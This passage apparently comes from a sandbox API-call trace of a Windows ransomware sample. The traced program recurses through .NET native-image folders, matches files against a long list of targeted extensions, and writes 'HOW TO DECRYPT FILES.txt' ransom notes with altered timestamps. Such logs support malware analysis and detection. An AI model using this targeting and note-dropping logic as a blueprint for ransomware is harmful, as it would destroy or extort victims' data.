(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.dbx") returned 0 [0120.885] lstrlenA (lpString="*.dbx") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.sql") returned 0 [0120.885] lstrlenA (lpString="*.sql") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.mdb") returned 0 [0120.885] lstrlenA (lpString="*.mdb") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.fdb") returned 0 [0120.885] lstrlenA (lpString="*.fdb") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.wab") returned 0 [0120.885] lstrlenA (lpString="*.wab") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.dat") returned 0 [0120.885] lstrlenA (lpString="*.dat") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.txt") returned 0 [0120.885] lstrlenA (lpString="*.txt") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.jpeg") returned 0 [0120.885] lstrlenA (lpString="*.jpeg") returned 6 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.jpg") returned 0 [0120.885] lstrlenA (lpString="*.jpg") returned 5 [0120.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.png") returned 0 [0120.886] lstrlenA (lpString="*.png") returned 5 [0120.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.php") returned 0 [0120.886] lstrlenA (lpString="*.php") returned 5 [0120.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.cs") returned 0 [0120.886] lstrlenA (lpString="*.cs") returned 4 [0120.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.cpp") returned 0 [0120.886] lstrlenA (lpString="*.cpp") returned 5 [0120.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.rar") returned 0 [0120.886] lstrlenA (lpString="*.rar") returned 5 [0120.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.zip") returned 0 [0120.886] lstrlenA (lpString="*.zip") returned 5 [0120.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.html") returned 0 [0120.886] lstrlenA (lpString="*.html") returned 6 [0120.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.htm") returned 0 [0120.886] lstrlenA (lpString="*.htm") returned 5 [0120.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.xlsx") returned 0 [0120.888] lstrlenA (lpString="*.xlsx") returned 6 [0120.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.xls") returned 0 [0120.888] lstrlenA (lpString="*.xls") returned 5 [0120.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.mp4") returned 0 [0120.888] lstrlenA (lpString="*.mp4") returned 5 [0120.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.ppt") returned 0 [0120.888] lstrlenA (lpString="*.ppt") returned 5 [0120.888] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.pptx") returned 0 [0120.889] lstrlenA (lpString="*.pptx") returned 6 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.doc") returned 0 [0120.889] lstrlenA (lpString="*.doc") returned 5 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.dot") returned 0 [0120.889] lstrlenA (lpString="*.dot") returned 5 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.docx") returned 0 [0120.889] lstrlenA (lpString="*.docx") returned 6 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.7z") returned 0 [0120.889] lstrlenA (lpString="*.7z") returned 4 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.tar") returned 0 [0120.889] lstrlenA (lpString="*.tar") returned 5 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.bz2") returned 0 [0120.889] lstrlenA (lpString="*.bz2") returned 5 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.gz") returned 0 [0120.889] lstrlenA (lpString="*.gz") returned 4 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.mkv") returned 0 [0120.889] lstrlenA (lpString="*.mkv") returned 5 [0120.889] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.eml") returned 0 [0120.889] lstrlenA (lpString="*.eml") returned 5 [0120.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.msg") returned 0 [0120.890] lstrlenA (lpString="*.msg") returned 5 [0120.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.edb") returned 0 [0120.890] lstrlenA (lpString="*.edb") returned 5 [0120.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.accdb") returned 0 [0120.890] lstrlenA (lpString="*.accdb") returned 7 [0120.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.odb") returned 0 [0120.890] lstrlenA (lpString="*.odb") returned 5 [0120.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.java") returned 0 [0120.890] lstrlenA (lpString="*.java") returned 6 [0120.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.asm") returned 0 [0120.890] lstrlenA (lpString="*.asm") returned 5 [0120.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll", pszSpec="*.pfx") returned 0 [0120.891] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Routing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.891] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.891] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Routing.ni.dll.aux") returned -1 [0120.891] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Routing.ni.dll.aux") returned -1 [0120.891] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Routing.ni.dll.aux") returned -1 [0120.891] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll") returned="System.ServiceModel.Routing.ni.dll" [0120.891] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\" [0120.891] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\") returned="" [0120.891] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\HOW TO DECRYPT FILES.txt" [0120.891] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\how to decrypt files.txt")) returned 0x20 [0120.891] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\", lpString2="System.ServiceModel.Routing.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll.aux" [0120.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\System.ServiceModel.Routing.ni.dll.aux", pszSpec="*.ems") returned 0 [0120.892] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Routing.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.892] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.892] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xab114b10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xab114b10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="87762d30feb4da1df13946bf2edb2492", cAlternateFileName="87762D~1")) returned 0 [0120.892] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.892] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a3d70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Serv759bfb78#", cAlternateFileName="SYSTEM~1.SER")) returned 1 [0120.892] lstrcmpA (lpString1=".", lpString2="System.Serv759bfb78#") returned -1 [0120.892] lstrcmpA (lpString1="..", lpString2="System.Serv759bfb78#") returned -1 [0120.892] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.892] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Serv759bfb78#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#" [0120.893] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a3d70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.893] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.893] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a3d70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.893] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.893] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.893] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2c9ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b2cde20051456606147962820883750f", cAlternateFileName="B2CDE2~1")) returned 1 [0120.893] lstrcmpA (lpString1=".", lpString2="b2cde20051456606147962820883750f") returned -1 [0120.893] lstrcmpA (lpString1="..", lpString2="b2cde20051456606147962820883750f") returned -1 [0120.893] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\*.*") returned="*.*" [0120.893] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\", lpString2="b2cde20051456606147962820883750f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f" [0120.894] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2c9ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0120.898] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.898] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2c9ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.898] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.898] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.898] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2a3d70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2a3d70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x3f200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceProcess.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0120.898] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.898] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceProcess.ni.dll") returned -1 [0120.898] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceProcess.ni.dll") returned -1 [0120.898] lstrcmpiA (lpString1="", lpString2="System.ServiceProcess.ni.dll") returned -1 [0120.898] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\*.*") returned="*.*" [0120.899] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\" [0120.899] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\") returned="" [0120.899] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\HOW TO DECRYPT FILES.txt" [0120.899] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv759bfb78#\\b2cde20051456606147962820883750f\\how to decrypt files.txt")) returned 0xffffffff [0120.899] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.serv759bfb78#\\b2cde20051456606147962820883750f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0120.902] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0120.902] CloseHandle (hObject=0x90) returned 1 [0120.903] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\", lpString2="System.ServiceProcess.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\System.ServiceProcess.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\System.ServiceProcess.ni.dll" [0120.903] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\System.ServiceProcess.ni.dll", pszSpec="*.ems") returned 0 [0120.903] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2c9ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b2c9ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b2c9ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceProcess.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0120.903] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0120.903] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceProcess.ni.dll.aux") returned -1 [0120.903] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceProcess.ni.dll.aux") returned -1 [0120.903] lstrcmpiA (lpString1="", lpString2="System.ServiceProcess.ni.dll.aux") returned -1 [0120.903] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\System.ServiceProcess.ni.dll") returned="System.ServiceProcess.ni.dll" [0120.903] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\" [0120.903] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\" | out: 